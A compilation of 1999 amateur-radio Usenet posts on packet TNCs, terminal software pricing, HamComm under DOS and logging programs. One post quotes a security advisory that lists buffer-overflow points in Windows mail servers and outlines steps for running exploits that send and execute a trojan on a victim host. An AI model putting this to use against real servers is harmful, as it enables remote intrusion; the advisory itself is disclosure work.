It can be located at http://www.peaksys.demon.co.uk/
Also, check out http://freespace.virgin.net/nigel.dyche/ for additional files, etc.

Hope that helps,

Glen Menendez

Glen,

Are you referring to PakRatt or PK-Term? In both cases, CSS owns or have written the software and we're very adamant about fixing issues that our users have, along with frequent FREE updates to the software.

Rick,

That's great to hear. I was told by Slimewave that I'd have to pay $29.95 for the Y2k fixes for PakRatt. The other problems I've encountered with the software involved the way it handled TNC generated errors. It's been so long I honestly don't remember the specifics. I'll check out the free update tonight (I assume it's at your web site).

I like companies that support their products. I won't do business with the ones who don't. Many thanks for the post, Rick.

Best regards,

Glen

Glen,

Ok that clears it up. However the update to Pc-PakRatt is not on the web, only Pk-Term '99.

Let me explain why.

Buying the source code to PakRatt was fairly expensive, and took quite a bit out of our budget. To recoup that investment, it made it necessary to charge for the 2.1 upgrade. To this day, even though the upgrade has been quite popular, we have not even broken even on the purchase, but felt releasing it was the 'right thing to do' to get a Y2K fix into the program, as well as the additional enhancements for all the AEA/Timewave TNC's.

Putting the Y2K fixes in cost about $30,000 in time, testing and materials, and that cost was above and beyond the cost of the source code.

Also, buying the source code allowed us to add some of the PakRatt functionality into Pk-Term.

I hope this explains why there is an upgrade cost for the program. To be quite frank, if we hadn't bought the source code, there would have never been a Y2K fix at all, as well as some addition support for other TNC's not supported in 2.0.

From: cbest74 <cbest74NOotSPAM@netzero.net>
Message-ID: <1ca4f2e8.fcd560dc@usw-ex0102-013.remarq.com>
Source record: 16786

Hello all,

I am new to packet and am trying to use a 9600 baud
Paccomm Spirit-2 TNC. I have access to a Icom IC-W32a
handheld and a Kenwood TM-742A. Would either of these two
able of handling 9600 baud or do they need modification? If
this is not feasable what radio radio would be best to
obtain if I wanted to recieve telemetry from an Oscar
satellite?

Also I need to double check the pinout of the 8 pin din
jack on the back of the Spirit-2. Are the number pins used
as would be on a normal 5 pin din TNC? I have check the web
for several hours an I have not found a definative answer to
this.

Rick,

Thanks for the reply. I understand the business reasons for doing it that way. Just the same, I believe I'll pass. I am however interested in the MultiComm Host I read about at your web site. Also, another question for you: Is the WeFax99 program compatible with any non-Kantronics TNC's? (MFJ1278, DSP2232, etc?) If it works with the 1278, you can count on my order.

3730. Re: Newbie question: Software for AEA 232 *AND* Windows?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-05 00:00:00 UTC
From: Rick Ruhl <ricker@cssincorp.com>
Message-ID: <eUEHVXA##GA.323@cpmsnbbsa02>
Source record: 16788

We are working on a Wefax version for the MFJ 1278, as well as for the Pk-232. It's in development now and should be available before Christmas.

MultiComm Host will use BLP Host mode for the Packet side of the MFJ-1278. The SSTV and HF modes are still in terminal mode, so those are not supported by BLP Host, but will still have the same interface as Pacterm and Pkterm have on their HF windows.

This may be a good time to mention that CSS is a ham owned and operated company, that has an office in Muscle Shoals, AL. Of our staff, 5 1/2 are hams (Kris passed his Novice written and just needs to take the tech test). Of the other 5 hams employed, we have one extra, one advanced, one general, one tech-plus and one tech.

Hi.

I have looked on the net for UIView information, but to no avail.
Can anyone point me in the direction of UIView information or URL
links?

o What is it?
o Is there Windows 95/98 or DOS software for it?
o Is it related to APRS ?

Thanks,
Martin 2E1FTX.

Can the software inside the TH-D7 be ugraded without a chip change?

I've no interest in KISS but there are some missing TAPR commands I'd
like to see (like mh), if there's spare real estate available in the
chip and there is the facility for updating.

The short answer is that neither radio is suitable for
9600 baud packet. They can be modified to receive
it correctly, but modifying them to transmit it correctly
is a much more complex job, probably more involved
than you'd want to tackle.

Several of the multimode radios, ie IC821, FT847, etc
can be relatively easily modified to work correctly at 9600
baud. The key is that modulation is not introduced directly
into the PLL, but is done at IF. This means you don't have
to attempt to modify the radio for dual point modulation,
which is necessary if they modulate the PLL directly
as most FM only radios do.

Receive is easier. All you need is a direct connection
to the radio discriminator, and a wide enough passband
to avoid phase non-linearities. Most FM capable radios
can be modified to provide this.

3737. DOS for Hamcomm? (newbie!)

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-06 00:00:00 UTC
From: Filippo Cattaneo <top@compuserve.com>
Message-ID: <PRSA3.86687$6C.193117@typhoon.libero.it>
Source record: 16795
Cross-posted to: alt.ham-radio.packet,aus.radio.amateur.digital,rec.radio.amateur.digital.misc

I am a humble plug and play type, whose DOS experience
abruptly stopped in 1989.

I'm dabbling with Hamcomm on a Win98 machine. The task at hand is to write an autoexec.bat file that disables all the DOS things that Hamcomm can't cope with, like any and all extended memory management and multitasking.

All I need is to use a serial port and operate a UK keyboard - no audio card, no mmd's other than perhaps the C drive.

The HD has partitions on it. If this is a problem, I can run OS and application from floppies.

And oh, by the way... the processor is an Amdahl K-6.

As sorry as I am to admit to that, I am not how I can do all that. I'll try to rephrase this:

1) What are the bare minimum OS components I need? E.g what other than command.com, system.sys etc.?

2) Is there any way I can make sure that an OS compatible with the K-6 does not generate internal interrupts? I have put together a minimalistic set of system files from Win-95 that looks and feels like DOS, but seems to generate a series of interrupts every few msec that interfere with the Hamcomm decoding logic.

TIA!

Baffled, I remain.

A few weeks ago i send this email to the QST editors. I hope things will improve...

Dear sirs,

I would like to say that, in my opinion and jugding from the review article in QST June 1999 page 57 - 61, the IC706MKIIG is NOT 9600bd capable.

Why :

1 - The receive-transmit turnaround time of 210 ms is much too high. A value of 50ms or lower should be maintained for effective use of a 9600bd packet channel. With 210ms, the transceiver will likely produce lots of collisions on a 9k6 channel.

2 - The Bit Error Rate (BER) of the transmitter on 144 and 440 MHz of 1.9*10^-4 resp 2.1*10^-4 is not enough to properly handle a 9600bd connection without needless retry's.

I really hope you will give more attention to this aspect of modern amateur radio equipment. For more information i refer to the QST article : 9600 ready radio's - ready or not ? of QST May 1995 page 24 - 29 by Jon, KE3Z. Especially the last lines of the conclusion on page 29.

The IC706MKIIG should be put in the "9600bd transmitter performance disappointing" range of performance measurements. This radio is, in my opinion, not '9600 capable'.

I hope you can correct this review in a future QST article.

I suggest you ignore all the "advice" you will get from this newsgroup,
and simply plug the TNC into the radio and try it! The 742 is probably
the best bet. May need a bit long TXD, may not be the best possible
radio for 9600, etc. etc.

However it WILL work, and you can have lots of fun with it.

As I understand it, the Hamcomm program is strictly a DOS program. You cannot capture the COMM port full time in WIN 3.1, WIN95, or WIN98 - a prerequisite for HamComm and other programs written for DOS that use the HamComm interface. While it may at first appear that HamComm is working correctly if run from WIN95 or WIN98, you will find it is operating at about half speed. Two suggestions:

1. Consider putting the command lines in C:\WINDOWS\DOSSTART.BAT to configure the computer as need be for the HamComm program and exit to DOS to run HamComm.

2. As an alternative set up the desktop icon (use properties tab, advanced button) to configure the autoexec and config setup as needed to run HamComm. Force MS DOS mode when running HamComm.

Only one problem with the above solution. the systems are 286 computers. We try and stick with DOS versions as they run on most anything. I really think a smart thing to

do it FIX the DOS version to keep it going. Keep in mind that ALOT of HAMS run packet on old system the cannot run Windows so the DOS version is still a SMART think to keep around. 73's...

Kenwood reps have told me no way, no how on this radio before...

Since the radio is split up into separate modules I'm inclined
to believe them.

I knew that packet-radio amateurs tend to use ancient technologies and
forever refuse to update because of loss of their "investments", e.g. in
1200 baud AFSK. But I didn't realize it was *that* bad...

99.02.01 does not exist anymore, but your serial number and activation key
can be used with 99.07.01 1.3 as we offer free upgrades of the 1.x
software at http://www.cssincorp.com/pacterm , which is downloadable.

99.02.01 was one of the buggiest releases we ever had, it was only out a
week, and very few copies were sold. It was replaced by 99.02.01 a which
was a much better build.

Worse yet....

as Max correctly pointed out, Hamcomm (and RadioRaft, for that matter, I believe) won't work under anything Windows.

I did as Max said, and even made a DOS-like boot disk out of Win95, without any use of EMM*.sys or HIMEM.SYS.

Trouble is, I still get a near-constant stream of internal interrupts that even shows up on the HAMCOMM spectrum display, and modulates (!?) any incoming stream, giving rise to the funniest of all spectra since the Genesis.

I tried a variety of freeware MS-DOS substitutes: FreeDOS, 4DOS, RxDOS etc. - none seems to work, I never reached the point where I felt like firing up Hamcomm. The FreeDOS I downloaded from the FreeDOS project site got my antivirus all worked up and screaming that Bloodhound was hiding, unconquerable, in the boot sector of the boot disk - rats!

I also looked on the Caldera site for OpenDOS, but kept getting shunted into Linux or what not.

Any suggestion on where to get a clean, working DOS or lookalike?

Love, and thanks again!

Filippo

The software for Windows 95, 98, NT and 2000 for the Kantroics TNC is Pacterm, '98 at http://www.cssincorp.com/pacterm. Current release 1.3.1 and purchasing the product includes free upgrades for all 1.x versions.

You can download the full program for use in demo mode from the above website. And you can purchase the program from your favorite ham dealer or direct from CSS.

HUMM - - ran HamComm and several of the SSTV programs under DOS 6.22 and 7 but did not run into ANY of the problems you describe. Just wondering, do you have a video accelerator card, and if so do you have hardware acceleration set to maximum? Do you go into DOS and run HamComm, or do you exit out of WIN9? and run HamComm? Sounds more like a video problem than DOS. The other brands of DOS could corrupt your current installation badly enough to require reloading WIN9?. FYI - - - I always booted to WIN95, then exited to DOS and ran the programs that used the HamComm interface. I have a 2 meg Cirrus video card (legacy now) running 32 bit color at 800 X 600 with maximum hardware acceleration.

Message-ID: <uuzbDOl##GA.215@cpmsnbbsa03>
Source record: 16823

Hi Keith,

This is a really a good question and it boils down to this.

My company employees 6 people and each and every one is part of the development, testing, documentation and support. They each require a salary since that's how they pay the bill for their homes, cars, families, etc.

Personally, I take a minimal salary so that these people can continue to have good paying jobs, and I'm investing in them for the future.

The cost of developing Pacterm '98 at this version (1.3.1) is around $300,000 of money I invested personally. I have yet to even break even on my investment, much less make a profit.

And the other reality is Windows 98 is sold to MILLIONS of people, while the userbase for TNC users is around 100,000. The larger the userbase, the lower the cost of the product. The goal of a business is to try to make a profit, to keep those employed in a good working environment.

And since CSS is a incorporated company, and not a ham just working out of his home part time on software (which 99% of the software ham is), we're able to put more resources into testing, documentation and support. Nothing against the ham working out of his house, it's just more people working on a project makes a higher quality product.

Also, we don't charge a penny for upgrades of 1.x versions, so we could have nickel and dimed the hams to death on upgrades, but that wasn't the right thing to do.

Hopefully, this explains why we feel the price is low, for the quality of the product you receive, and for the free upgrades of fixes and enhancements in the product.

And not too many other places have 5 1/2 hams working in a company in which they can make a living with their hobby!!!

Best regards,

Hi all,

Looking for Mac packet software to use with my TH-D7A--Any help would be
greatly appreciated as to what software to use, since I am new to packet.

Thanks + 73's,

Mike - KF4WWA

Try XPWin by KF7XP. It is available on his website. Sorry, I don't
have the URL handy, but a quick websearch should bring it right up.
You may download a fully-functional demo (good for 100 qsos) and I
suspect you will be impressed with the program, it is very excellent.

Hi, Terry,

I am really amazed at the omission of Kantronics' Hostmaster program. I have been using it on my Win 95 machine for quite some time with few problems. Of course, price does rear its ugly head.

Message-ID: <OvYjlHx##GA.307@cpmsnbbsa05>
Source record: 16830

What intersting about Hostmaster is that last time I talked to Kantronics President Phil Anderson, he said James Orleff, the author of the program, is now working a another full time job and isn't updating the program. I believe the last update was in 1995, so it doesn't support the KAM '98 (which is the replacement for the Kam Plus, one they are all sold out).

It's a very good DOS based program, and again, let me give you my reccomendations for each O/S level for Kantronics TNC's):

DOS (8 bit programs):
HostMaster II+
KA-Gold
XPDOS

Windows 3.1(16 bit programs):
XP-Win
KA-Win

Windows 95/98/NT/2000 (32 bit programs):
Pacterm '98

(but of course, I'm biased) <grin>

While the DOS and Windows 3.1 program will run under Windows 95 and above, they run in their own VDM and are not able to take advantage of many of the new 32 bit enhancements. And in every case, for the O/S they run under, they are the best bet for the money.

It may seem strange to toot the horn of others, but the facts are, for the O/S that they run under, they are very good programs to use.

What kind of mailbox support would you like? And do you mean from a 'server' standpoint or from the accessing the mailbox as a user? We'll be glad to take your suggestions and look into implimenting them.

One of the plans from the user standpoint, is mailbox access that looks like Outlook. However it's much easier to do with the AEA/Timewave line than with the KAM, as the Kam's host mode will only support a ascii connection to the mailbox, whereas the AEA/Timewave supports access to the mailbox via host mode commands.

Start with MAC APRS, as it sets up the correct TNC parameters
but any Mac comm program will work, like Zterm , I like to use
Versiterm .

The Th-D7a doesn't save parameters after a power down, except your call.

Walter Dunckel wrote a PC Visual Basic Th-d7a control program and has
Ok'ed a port
of his program to a Mac Visual Basic like program called RealBASIC .

His PC Visual Basic program will run under MAC Softwindows or VPC.

Source record: 16838

Hi everyone,

I became interested in building dgps receivers after learning how much the comm'l units cost::>

Anyway, I downloaded the spec for the data transmtters and protocol and it's not clear whether they are transmitting psk or fsk. The spec sounds like it is talking about PSK, but several home brewers have told me it's really FSK. I can forward the written spec to anyone who is interested, but I am willing to bet that it is not helpful!

The data is 50, 100 or 200 baud and the overall bandwidth is claimed to be 1.17 times the baud rate, The channels are spaced at 1 khz intervals between 285 to 325 khz. Anyone in the US should hear signals there, and most likely anyone in a coastal area anywhere in the world should hear signals there too.

If someone could tune in and tell me whether these are PSK or FSK, I'd appreciate it.

After I figure out what type of signal it is, I need suggestions for small, low power portable electronics for receiving these signals-but for now I really need to know whether these are FSK or PSK.

email reply preferred.

Thanks,

Art

Thanks, but all the mailbox support I would ever need is available in
WinPack - Scripted automatic connections, compressed forwarding,
compressed download, automatic selection of bulletins according to your
chosen criteria, auto-viewing of 7plus, auto-viewing of the contents of
zips, auto-viewing of HTML, support for FBB unproto beacons, support for
BPQ, WA8DED/TF and AGPWE host modes, etc... A wide range of third-party
add-ons available. Professionally written, beta tested by a worldwide
team, and all for an optional registration fee of 20 dollars!

I'm afraid I don't understand your comment about "ascii" connections.
What exactly are you saying is difficult about connecting to a mailbox
using Ka host mode?

Nothing difficult about connecting, it's just text mode parsing (human mode) requires more fudging than the AEA Host mode. We're basicly going back to the old days of 'WinCim' or Aladdin doing text based comparisions. Not that it's bad, I would have hoped by this time most TNC manufactures would have written a host mode interface to their mailbox.

The perfectly clear and very helpful spec ("Broadcast Standard for
the USCG DGPS Navigation Service", which I found at
http://www.navcen.uscg.mil) says in Section 3(B)(1):

"The DGPS Broadcast will utilize Minimum Shift Keying (MSK)
modulation, a special case of Continuous Phase Frequency Shift
Keying (CPFSK)..."

This is a form of FSK with useful bandwidth characteristics.
Have a look at the discussion in a text like Haykin (Communication
Systems, 3rd ed., pp 523ff). For the real dirt have a look at
Pasupathy's article in IEEE Communications Magazine, 17:4, 1979.

>Sad but true!

Only 10 years ?? :-)

See most of the US network, see the packet softwares. When I connectt
my BBS, I use a German packet-radio software, a German packet
transceiver, an Italian TNC, and a Japanese antenna :-)

I gave up using KAM or AEA products : nice with an old Ascii terminal,
not with a computer and a modern software. I can also compare a PK96
and a TNC2-H :

PK96 :
. not enough setup for 9k6
. the ugly AEA-compatible Eprom
. no G3RUH filter selection

TNC2-H :
. filtes selection
. level output selection
. a two-software-EPROM (TF 2.7 / TAPR something)
. a smaller size

No, sorry, I won't buy any US packet moduless, the ones made in Europe
are 10 years ahead : YAM, PICPAR, TNC2H, TNC3, etc.

3789. DSP 232 Problem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-11 00:00:00 UTC
From: John Robertson <robo@enterprise.net>
Message-ID: <37DA11A7.413A4BF1@enterprise.net>
Source record: 16699

Hi all
Recently purchased a second-hand AEA DSP232.
When I got it home I find that on power on
it 'sticks' with all the front panel LED's on
and 88 in the display. (It also seems to pulse
at about 4 times a second) Speaking to the seller
he tells me it has been in storage for at least a
year. I was wondering if anyone has come across
these symptoms and if so what was the cure?

Any help appreciated.....
TIA
John GM1VPZ

Have a look at Linux. There you can have a command prompt (if you like)
and still use the power of today's machines.

Hello guys,

Where can one find SNOS Hank? I am interested to try it with my PTC-II
and PTC-IIe.

My PTC-II will be running as a PACTOR<===>AX25 GATEWAY by the end of this
month (after we all recover from the shock of the earthquake we had in Athens)

Also Randy could you please keep me informed if you manage to write something
for a xNOS that supports PACTOR (i.e. I am interested to connect my PTC-II
controller to my JNOS ROUTER machine).

THanks in advance guys and please keep up the constructive discussions!!!

Group,

I just picked up an 'old' Kantronics UTU terminal unit.I wanted it for rx of cw & sit-a/b.I do not need to use this unit for the sending of anything just receiving.It has a 5 pin cable that connects to a p/c serial port.Can anyone advise a simple software pgm that I could use with this unit?

Thanks for reading this.

Sorry, no PTC support ... I don't have one, and thus cannot
create drivers for it. SNOS is on my web site. Not much in
the way of docs yet ...

I was looking at the KPC-3+ with the POSAC paging and was wondering if anybody had done club paging with this? My job will give me access to a commercial EAS receiver with serial data, and I was thinking that this would be a good place to start...however in searching the web I haven't found much on this... If ya know something, I would appreciate a shout.

Thanx..

Hello John,

The unit is trying to complete startup. The most common problem is not having a large enough P/S. Be sure you are using a well regulated supply with at least 1 amp.

When you test the new supply, Do not attach the RS232 cable, or the radio cables. Let me know if this helps.

3798. Win95/98 server software

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-11 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7reang$are@enews1.newsguy.com>
Source record: 16708

I found the following at this TUCOWS URL, in the Win95/98 Server category:

http://tucows.texoma.net/

19 Mail servers
10 FTP
8 Proxy
8 Web
5 IRC
3 X-Windows

...and one each of these:

News, DNS, Finger, Chat, Remote Print Manager, iCal Web calendar.

This info is for the benefit of those individuals who were convinced that no tcpip server software existed for the Win95/98 platform. Remember that the above was found after a casual search of ONE source of Win95/98 shareware/freeware. - A more thorough search would doubtless return many more of the "nonexistant" programs.

Considering the $300,000 is over a two year period, then that validates your number for OUR current pricing ($80.00), and if I had sales of 25,000 units annually, I'd seriously look at reducing the cost, but it's no where near that. It's right above 2,000 units.

But you haven't taken into account program maintenance, equipment (TNC's, Computers, printers, radios (for the new radio control module), etc.

The new 32 bit host version of Multicom for MFJ is being developed by us, called Mutlicomm Host. We've been working with them and have the ONLY program that takes advantage of BLP Host mode. This will be limited to Packet mode, as that's what Howie Goldstien wrote it for. We'll still support all the HF modes of the MFJ, but it will be limited to terminal mode, ALA Mulitcom for Windows 3.1.

A few months back you posted a message that you'd be able to come up with a marketing plan to allow for low cost, high volume, what would you do here that I haven't done?

I always thought 40% was the standard retail markup. Some of the custom jewelry I make goes out at a 300% markup.

A 25% markup is a good way to go broke in a hurry, except is very special circumstances involving bulk sales of thousands of items. - And that set of circumstances does not apply here, obviously.

Members of the oldest profession "charge what the traffic will bear", and this system has worked well for thousands of years. My advice is to go with the pro's.

Hi :-)
I am the lucky owner of an FT8000 and the ADMS-2d software... but i am not able to make the template-file. The computer downloads the radio unto 100% is reach... but then i get the message: "Receive timeout". I have tried allmost evrything.. but my settings are correct and my cable is also ok.

If someone has a xxx.tpl file for the FT8000r to mail me i'll be glad :-)
That way i can test if its possible to upload anything to the radio....

Best regards

Perhaps you should have a look at linux and the ham radio software
available for that. There's an online database of software at
http://radio.linux.org.au

The great thing about linux (other than that it's top-notch software)
is the community spirit that goes along with it. The people who develop
software for linux [*] aren't in it for the money, and they share
their software as a result. They share their source code, and encourage
users to contribute code back. If you find a bug in a program and you
know how to fix it, you can. And you can pass around your modifications
to help others out. If the author disappears, somebody else can take up
the work -- a good program isn't lost forever.

This isn't just limited to linux of course. The PSK31 software
is freely available and has source code on some platforms (EVMs
and linux at least). But linux seems to encourage sharing because
linux itself is free software (both in terms of dollars and freedom).
IZ8BLY has a free (no cost) Hellschreiber for Windows too, and
I'm sure there are others.

As soon as I get a few weeks off I want to develop some more
software for linux. I don't want to make any money from it though --
this is only a hobby after all.

OK Hank,
Does your SNOS support the KAM+ then? I have got one of those too.
And would you mind sharing the source with us please? Maybe someone
else can continue from where you left off and add support for the PTC-II.
I think that this would be very good, i.e. sharing your SNOS with the rest
of the ham radio community, just like every xNOS author has done up to now.

Hi all!

I'm looking for a place to download the above C compiler for PIC
microcontrollers. Is there such a link?

3810. Logging Programs

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-12 00:00:00 UTC
From: Rick Williams <mrfarm@frontiernet.net>
Message-ID: <7rgls6$pj0$1@node17.cwnet.frontiernet.net>
Source record: 16718

I notice that there are several integrated programs that perform decoding of PSK-31 and at least one that does RTTY as well. Some are freeware and some are commercial programs. I have used paper logs for the small amount of logging requirements that I have, but am thinking of doing it on the computer.

Anyone do any comparisons of programs and found which ones seem to work best?

Anyone consider just using a basic db like MS Access?

What about the integrated programs that have digital modes on them as well as contest logging? Do you find that it is not a problem to transfer the data with ADIF files?

Thanks for any suggestions.

Rick, KV9U

Don't do it, Hank! I like the fact that your software isn't just another
hack-o-gram for junior programmers to pee on and then call their own.

I did a search on Alta Vista right after that last discussion and like you,
I found plenty of freeware/shareware servers for Win95/98. I guess
some people just haven't bothered looking.

I tend to wonder, though, just how useful this stuff would be over the
packet network, since most of the basic functions (messaging, file
transfers, and realtime chatting) are already available in existing
packet software. And since regular packet software and protocols
were designed with the slower baud rates in mind, it seems to me
that software designed for the faster Internet would put the user at
a disadvantage, due to the extra overhead of those protocols.

To each his own, I guess.

>
> Then your advice is to go BROKE with the "pros."

Time to drag out the grammar text and examine the semantic content of the
phrase "
charge what the traffic will bear".

Then you can get a start on pulling your foot back out of your mouth.

I had a sister-in-law once who thought she was an expert on other people's
business dealings too. It didn't matter whether she had ever done it herself
or knew anybody else who had. If somebody had a business, then she had sage
advice to give them about that business, sight unseen.

She used your system of coming up with random, arbitrary assumptions and
then building an elaborate structure of fantasy around them, quoting
whatever textbook or magazine article she got her "knowledge" from almost
verbatim in spots so that her rant would have the proper ring of legitimacy.

Hey! Maybe I could introduce the two of you, and you could go into business
together, giving expert advice to business owners. If you run into problems
you can consult with her, and if she has problems, she could consult with
you! How could the two of you possibly fail, swimming around in all that
expertise?

Yep, you'll both be driving Cadillacs and snubbing your family and friends
before you know it.

Think it over! Remember that if you do not try to pass yourself off as some
kind of expert, then somebody else probably will.

3814. wireline remote control?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-13 00:00:00 UTC
From: yew_hoo@my-deja.com
Message-ID: <7rikqn$cv9$1@nnrp1.deja.com>
Source record: 16722
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.policy,rec.radio.amateur.homebrew

I'm looking for information about wireline remote control of an amateur radio station. I'm looking for both technical info and regulatory insight. The Part 97 stuff gives some definitions, but no real discussion to enlighten me.

If there are any good books on the subject, or internet sites, I'd like to check them out. Anybody have any experience with this?

Well, we all have opinions, so here is mine.

Frankly, with the size of the amateur market being what it is, we are lucky to have the vendors that we have. I would not want to have to write all the software I use in this hobby, and I am danged grateful that there are quite a number of commercial suppliers of software for our TNCs, logging, SSTV, etc. I own licenses for TRX-Manager and XPWin and I do not begrudge the authors one penny of the price they charged.

(I have written some of my own software, but not recently, nor do I now have the time).

I do not think that it is helpful to accuse a vendor of "gouging" merely because one thinks the price is too high. Vote with your dollars, and buy elsewhere if that is your opinion. Frankly, I doubt that anyone has ever gotten rich by gouging the ham radio market. I cannot prove that theory, but I suspect that it is true, grin.

To take an example off of this thread: you bought the MFJ TNC because you thought it was the best buy. Fine, no problem. However, I bought the SCS PTC-II TNC, which is about 4 times the cost. Worth every penny to me, but perhaps not to you. The MFJ does not meet the standards **I** was looking for, and there is no place in my shack for the unit. You obviously applied a different set of criteria, and that is fine. Doesn't mean SCS engaged in "gouging" though. Nor does the mere fact that one person evaluates the MFJ unit to be the "best buy" mean that such is the case for others. This is evidenced by the fact that you rarely run across MFJ units at least on the HF bands.

I hope that this post did not offend anyone. I did not intend for it to.

I have used LOGGER and successfully imported my TRX-Manager log into LOGGER. For PSK31 you cannot beat it. Frankly I thought that Logger was a lot nicer than Logic5, and it is free. I admit I only tried the Logic 5 demo though, and not for all that long (didn't like the program).

I use TRX manager's log most of the time though, and frankly it is as good as **I** need. However, Logger tracks more awards and whatnot than does TRX-Manager, so if you are into that you can export to Logger to track your awards.

and they are somthing *everyone* should run... NOT!

see this note from bugtraq by The Shadow Penguin Security
(http://shadowpenguin.backsection.net):

Many kind of POP3/SMTP server softwares for Windows have buffer overflow bug
(by The Shadow Penguin Securuty http://shadowpenguin.backsection.net)

1. Introduction

I confirmed many kind of POP3/SMTP servers for Windows which are published on
"SOFT-SEEK.com" contain the buffer overflow bugs. I list the softwares which
have buffer overflow bug, I also publish the exploit programs for some software.

2. POP3/SMTP server softwares which have buffer overflow bugs

Software Version Service Overflow Point

@Work SmartServer3 3.51 SMTP long MAIL FROM:
CMail Server 2.3 SP2 SMTP long MAIL FROM:
Personal Mail Server 3.09 SMTP long MAIL FROM: (I've notified to developer)
Tiny FTP daemon 0.51 POP3 long USER (I've notified, Now fixed)
Internet Anywhere 2.2.2 POP3 long USER
FuseMail 2.7 POP3 long USER,PASS
aVirt Mail Server 3.3 POP/SMTP long MAIL FROM:,long USER

If the host recives the packet which contains the exploit code, the host has been cracked by any instructions which are coded in the exploit code. We show the demonstration programs which execute any command on the victim host. For the proof of the risk of intrusion, I also publish the exploit program for "Personal Mail Server" that can send a prepared program to victim host and execute it. If the trojan program is sent, the victim machine will be controlled remotely.

If the host receives the packet which contains the exploit code, the host will execute any instructions that is written in the exploit code. We show the demonstration programs which execute any command on the victim host. For the proof of the risk of intrusion, I publish the exploit program for "Personal Mail Server" that can send a trojan program which is prepared in the attacker host. Of course, it can be executed remotely. If the trojan program is sent, the victim machine will be controlled remotely.

3. Exploit

I coded the exploits for the following softwares:

(1) @Work SmartServer3
(2) CMail Server
(3) FuseMail 2.7
(4) Personal Mail Server
(5) Tiny FTP daemon

(5) is now fixed, I publish the exploit program for (1)-(4)

}

<< Demonstration >>

Victim host : 192.168.200.200
Your host : 192.168.100.100

(1) copy your testprogram "test.exe" to UNIX machine.
(2) gcc ex_pms1.c -o pms1
(3) gcc sendexp.c -o sendexp
(4) ./sendexp &
(5) ./pms1 192.168.200.200 192.168.100.100

You can send "test.exe" to victim host, and can execute it remotely.
The size of "test.exe" is not limited.

3818. Re: Logging Programs

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-13 00:00:00 UTC
From: Max Imo <reply@to.group>
Message-ID: <O_6D3.952$NW5.100100@news.corecomm.net>
Source record: 16726

I have used LOGic, first in V4 and now in V5, for several years. Of course it currently does not support PSK. However, you can export the information from Logger (which does support PSK) and import it into LOGic. LOGic is a terriffic program that is nore than capable of supporting all other logging and contesting activities you may have. IMHO the combination of LOGic and using Logger for your PSK activity would be a hard combination to beat. It is what I am currently using.

LOL
Max

>>(why on EARTH isn't pacterm available from HRO, Texas Radio, or AES?).

It is. HRO, Burghart, AES, etc carry copies, look in the catalog. Many smaller ones don't carry TNC's anymore, and many times when we call them the answer is, "I'll order some copies when someone orders from me".

>> Why isn't it bundled withKantronics TNCs (at an attractive price that ...)

Kantronics OEMed the software exclusivly from Nov 97 to Feb 99. Phil made a decision then he just wanted to focus on hardware support and not software and we took it over in full in Feb.

>> support for Logging programs..

Currently it works with LogWindows, and in development is DX4Win, DXbase 2000 and Logic 5.

Not to worry ... I've given away enough code in the past,
do not plan to do it again.

Nothing for the KAM at this time. Did play with an interface for a bit,
but since I no longer use a KAM I tossed that code out.

Nobody needs my sources to write drivers for the KAM or for
the PTC. There are plenty of sources out there already. If someone
does write these drivers, I would probably include them in SNOS.

In any case, SNOS is hardly ready for "prime time" yet, and may
never be ready. It's just something I'm playing with. Perhaps another
6 - 12 months before it looks even remotely like a "product".

What is really needed is drivers for Windows. The "NET and NOS"
line of code is pretty much played out, just like the other "BBS style"
codes. Have not had a request for the CBBS sources for years <grin>.

3822. FS: Kenwood IF-232C Interface

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-13 00:00:00 UTC
From: deja@boatanchors.com
Message-ID: <7rjgcm$1sf$1@nnrp1.deja.com>
Source record: 16730
Cross-posted to: rec.radio.swap,rec.radio.amateur.digital.misc

For sale:

Like new Kenwood IF-232C computer interface with DIN cable.
Used to interface TS-440, R5000 and other Kenwood radios
to a computer running KenTrol or other software (shareware
and freeware).

$80 shipped via US Priority mail to any US destination
in the lower 48. Prepaid via US Postal Money order.

Thanks,

Dave WB7AWK

CSS does indeed support other manufacturers, See http://www.timewave.com for
more information on CSS softwrae for the AEA/Timewave line.

I offered to give them the CD's with the program in demo mode to put in the
box with their KAM, asked Phil this 3 times with no response. But we do
have a coupon promotion going on with them current Kam '98 owners. When
they OEMed the software, there was not one ad by Kantronics that marketed
our product, I had to pull that expense out of my pocket. Tell you what,
I'll offer a $10.00 off 'virtual coupon' for reading this on the newsgroup.
Mention offer NEWS01, and we'll knock $10 off when you order direct from us.

We also have a $25.00 coupon in the Pacterm '98 box on purchase of a
DSP559zx from Timwave.. more value.

Gonna do all 3 in 1.4. I've got to do a DDE server for Dennis (Logic 5),
since it's written in Foxpro and can't do user defined messages.

DX4Win is working now, and am waiting for hear back from Jack (DXBase 2000).

3826. Atmel AVR demo code

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-09-13 00:00:00 UTC
From: Dave VanHorn <dvanhorn@cedar.net>
Message-ID: <lueD3.4889$Sf.15876@news.rdc1.il.home.com>
Source record: 16734

Version 2.0 of my "Getting Started" application for the Atmel AVR8515 is now online at www.dontronics.com/8515

It has drivers for VFD and LCD displays, RC servos, Stepper motors, Text to Morse code conversion and output, serial I/O, many fun bits. It's basically a cooperative RTOS. You'll need the assembler and simulator from www.atmel.com and a chip.
There are shareware programmers available on the web that will program the chip directly from a PC paralell port with a very simple cable.

If you want to go whole hog, atmel has a new emulator for $200

The "Getting Started" code is, of course, free.

I have been trying to get a handle on this for a couple of years now
and it seems that the only "turnkey" solution is to buy a Kachina
transceiver with its remote option. You can also apparently buy the
TRZ control software (which works for various rigs) but you need
one phone line for the data link and another for the audio path.
AEA used to make a "hamlink" remote control system that is probably
what you and I really want. I just missed out on buying a used one
for $175.

If anyone is aware of any better solutions, please post them.

Hank:

Well . l . l . l . . . now that you threw it back at me, then ok . . .

Here's a quick thought.

The most popular application on the I'net now [except for viewing porn images that is] are the "keyboard chat rooms".

Chat rooms are sort of like ham net's I guess. But with a little more real time interaction without an NCS, hi, hi.

